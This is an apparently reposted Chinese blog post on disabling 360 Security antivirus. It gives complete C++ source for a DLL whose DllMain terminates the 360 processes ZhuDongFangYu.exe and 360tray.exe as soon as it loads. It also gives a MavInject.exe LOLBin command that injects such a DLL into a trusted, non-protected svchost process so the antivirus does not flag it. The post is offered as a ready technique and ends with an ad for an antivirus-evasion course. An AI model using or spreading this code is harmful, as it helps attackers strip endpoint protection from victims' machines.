当前位置: 首页 > article >正文

杀死名为360安全的软件

参考这个https://bbs.kanxue.com/thread-281120.htm逆向分析以及我们的内存搜索,我们可以发现许多白名单进程,特别是一些系统常驻进程。白名单进程因为受到防病毒软件的信任,往往不会被严格监控,因此可以作为攻击者的突破口。

在这些常驻进程中,svchost(Service Host Process)是一个较为典型的例子。

图片

svchost 是Windows系统中的核心进程,用于托管和运行各种服务,具有极高的系统权限。然而,svchost 并非PPL(Protected Process Light)进程,所以我们可以很轻松的对它冻手

图片

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"
#include <tlhelp32.h>
// 查找并终止指定的进程bool TerminateProcessByName(const wchar_t* processName) {    // 获取系统进程快照    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (hSnapshot == INVALID_HANDLE_VALUE) {        return false;    }
    PROCESSENTRY32 processEntry;    processEntry.dwSize = sizeof(PROCESSENTRY32);
    // 遍历进程列表    if (Process32First(hSnapshot, &processEntry)) {        do {            // 如果找到匹配的进程名            if (wcscmp(processEntry.szExeFile, processName) == 0) {                HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, processEntry.th32ProcessID);                if (hProcess != NULL) {                    // 终止进程                    TerminateProcess(hProcess, 0);                    CloseHandle(hProcess);                }            }        } while (Process32Next(hSnapshot, &processEntry));    }
    CloseHandle(hSnapshot);    return true;}

void kill() {    TerminateProcessByName(L"ZhuDongFangYu.exe");    TerminateProcessByName(L"360tray.exe");}
BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:        kill();    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}

编译以上DLL后选择你喜欢的任意一种注入方式,这里为了方便演示,我们使用LOLBin进行注入

图片

MavInject.exe 3110 /INJECTRUNNING c:\folder\evil.dll
大家伙,如果想学习更多的知识,可以看我们的论坛:
 哔哩哔哩有免杀基础课程,搜索账号:老鑫安全培训,老鑫安全二进制


http://www.kler.cn/a/449123.html

相关文章:

  • 14,攻防世界Web_php_unserialize
  • 深入了解Linux —— make和makefile自动化构建工具
  • 以太坊账户详解
  • 构建一个rust生产应用读书笔记7-Mock编码浪子
  • 项目测试方案流程详解
  • ARP协议的工作原理
  • 【jvm】内存泄漏的8种情况
  • 前端面经每日一题Day19
  • 电子应用设计方案68:智能晾衣架系统设计
  • 每日一题 341. 扁平化嵌套列表迭代器
  • Linux嵌入式系统利用套接字编程(Socket Programming)实现网络通信的基础知识并附对一个简单实例的分析
  • 【Spring】控制反转(IoC)与依赖注入(DI)—IoC的概念与优点
  • 【YashanDB知识库】YMP迁移过程中报错YAS-02143或YAS-02193
  • 如何在K8S集群中查看和操作Pod内的文件?
  • 基于Spring Boot的远程教育网站
  • IPC协议获取签名信息
  • [计算机图形学] 【Unity Shader】【图形渲染】Shader数学基础6-逆矩阵与正交矩阵
  • leetcode hot100 合并区间
  • net_device结构
  • golang自定义MarshalJSON、UnmarshalJSON 原理和技巧